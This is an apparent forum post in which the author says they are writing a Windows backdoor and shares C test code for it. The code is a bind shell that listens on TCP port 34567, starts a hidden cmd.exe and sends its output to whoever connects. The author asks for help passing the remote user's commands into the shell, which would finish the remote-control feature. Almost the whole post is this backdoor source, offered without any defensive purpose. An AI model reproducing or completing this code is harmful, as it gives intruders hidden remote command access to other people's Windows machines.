i'm trying to write a backdoor for windows in ASM.
so far i have a sourcefile of 8kb (lot of options).
one of the options (spawning a shell) is hard to get to work.
since most people do not know assembly but maybe they know C, i have written a testprogram in C which should spawn the shell. as soon as i have this program working like it should, i am able to finish writing my program.
here's the code in C i have so far:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <windowsx.h>
#include <unistd.h>
#define PORT 34567
#define BUFSIZE 8000
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
WSADATA wsadata;
SOCKET serversock,clientsock;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hRead,hWrite;
DWORD bytesRead,bytesWritten;
SECURITY_ATTRIBUTES secat;
int size;
char sendbuf[BUFSIZE];
char recvbuf[BUFSIZE];
char systemdir[200];
char Command[BUFSIZE+200];
const char *string1="Written by White Scorpion Security (C) 2004\n";
const char *string2="****** http://www.white-scorpion.nl *******\n\n";
const char Prompt[]="\nBackdoor:\\>";
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(PORT);
ZeroMemory(server.sin_zero,sizeof(server.sin_zero));
struct sockaddr_in client;
size=sizeof(client);
if(WSAStartup(MAKEWORD(2,0),&wsadata)!=0)
return EXIT_FAILURE;
if((serversock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error creating socket");
getch();
WSACleanup();
return EXIT_FAILURE;
}
if((bind(serversock,(struct sockaddr*)&server,sizeof(server)))==SOCKET_ERROR)
{
printf("Error binding socket");
getch();
WSACleanup();
return EXIT_FAILURE;
}
if((listen(serversock,5))==SOCKET_ERROR)
{
printf("error listening");
getch();
WSACleanup();
return EXIT_FAILURE;
}
secat.nLength=sizeof(secat);
secat.lpSecurityDescriptor=NULL;
secat.bInheritHandle=TRUE;
while(1)
{
if((clientsock=accept(serversock,(struct sockaddr*)&client,&size))==INVALID_SOCKET)
{
close(serversock);
WSACleanup();
return EXIT_FAILURE;
}
send(clientsock,string1,strlen(string1),0);
send(clientsock,string2,strlen(string2),0);
CreatePipe(&hRead,&hWrite,&secat,0);
GetStartupInfo(&si);
si.hStdError=hWrite;
si.hStdOutput=hWrite;
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
CreateProcess(NULL,TEXT("cmd.exe"),NULL,NULL,TRUE,
NULL,NULL,NULL,&si,&pi);
while (TRUE)
{
if (ReadFile(hRead,sendbuf,sizeof(sendbuf),&bytesRead,NULL)==0)
break;
send(clientsock,sendbuf,bytesRead,0);
memset(sendbuf,0,sizeof (sendbuf));
}
}
}if you compile and run this program it will listen to port 34567. when connected to the port it starts cmd.exe and redirects the output to the socket.
so far so good, but unfortunately this is about it.
the client will receive a command prompt, but when he enters his first command the program hangs in an infinite loop.
my problem is that i do not know how to get the command that is given to cmd.exe (process).
any ideas are highly appreciated :D
Kind regards,

Sign In
Register
Help
MultiQuote